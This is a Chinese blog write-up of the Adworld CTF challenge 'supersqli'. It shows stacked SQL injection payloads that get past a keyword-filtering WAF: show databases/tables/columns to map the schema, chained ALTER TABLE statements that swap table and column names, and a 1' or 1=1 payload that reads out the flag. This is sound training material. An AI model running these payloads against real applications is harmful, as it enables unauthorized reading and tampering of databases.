攻防世界-web-supersqli

文章讲述了在遭遇WAF过滤常见SQL语句时,如何利用堆叠注入和非典型SQL命令(如showdatabases,showtables,showcolumns)来获取数据库信息。通过重命名表名和字段名,最终成功执行查询并获取flag内容,展示了在限制环境中进行SQL注入的策略。
摘要由CSDN通过智能技术生成

1. 题目描述:

 2. 思路分析

这里尝试按照基本思路进行验证,先确定注入点,然后通过union查询依次确认数据库名,表名,字段名,最终获取到我们想要的字段信息。

这里只有一个输入框,所以注入点肯定存在且只有一个,我们可以简单验证下:

 

使用 or 永真修改查询条件可以将所有信息查询出来,因此这里肯定是存在sql注入的

然后尝试使用union select查询出数据库名

我们发现结果并不是我们想要的,我们的sql注入语句被waf拦截掉了,看报错信息,waf过滤了select, update, delete, drop, insert, where等字符,而且无法进行大小写绕过

因此,这里的关键就是如何绕过waf的限制

这里试过注释绕过和大小写绕过,发现无法绕过waf的限制。

因此这里常见的union select注入方法在这里不生效

尝试用其它方式来获取表名和字段名,这里参考资料攻防世界-supersqli详解_Mr H的博客-CSDN博客

思路如下:

1. 使用堆叠注入获取表名和字段名,

2. 将我们需要查的表名修改为默认查询的表名

博客里提到的一种预编译绕过的方式可以让我们绕过waf的限制使用select语句,处理起来较为复杂,这里就不详细说明了

3. 解题过程

1. 使用1'; show databases; -- 1 获取到所有的数据库名

2. 使用1'; show tables; -- 1 获取到所有的表名

 

3. 使用1'; show columns from words; -- 1 和 1'; show columns from `1919810931114514`; -- 1获取到两个表的字段名

 我们可以看到,flag就在表1919810931114514中

4. 最后就是查询字段的内容了

我们看到,服务端默认的查询语句查询出两个字段,说明查询的是words表,我们将表1919810931114514的名字改成words并且将flag字段改为id字段不就行了吗? 试一下

先将words表名改为words1:
alter table words rename to words1;

然后将1919810931114514表名改为words

alter table `1919810931114514` rename to words;

最后将flag字段改为id,并将属性设置为varchar

alter table words change flag id varchar(50); -- 1

三条语句需要合并在一起,不然先改了words表名会导致后面无法执行成功:

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); -- 1

(PS:这里一定要手动输入,直接拷贝可能存在编码问题,一直不成功)

最后,通过如下语句查询出flag

1' or 1 = 1 -- 1

总结:这道题展示了另一种sql注入的方法,堆叠注入,在waf对select, where等常规查询字段进行了限制的情况下,我们可以通过show, alter等sql语句来进行绕过,最终获取到我们需要的信息。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值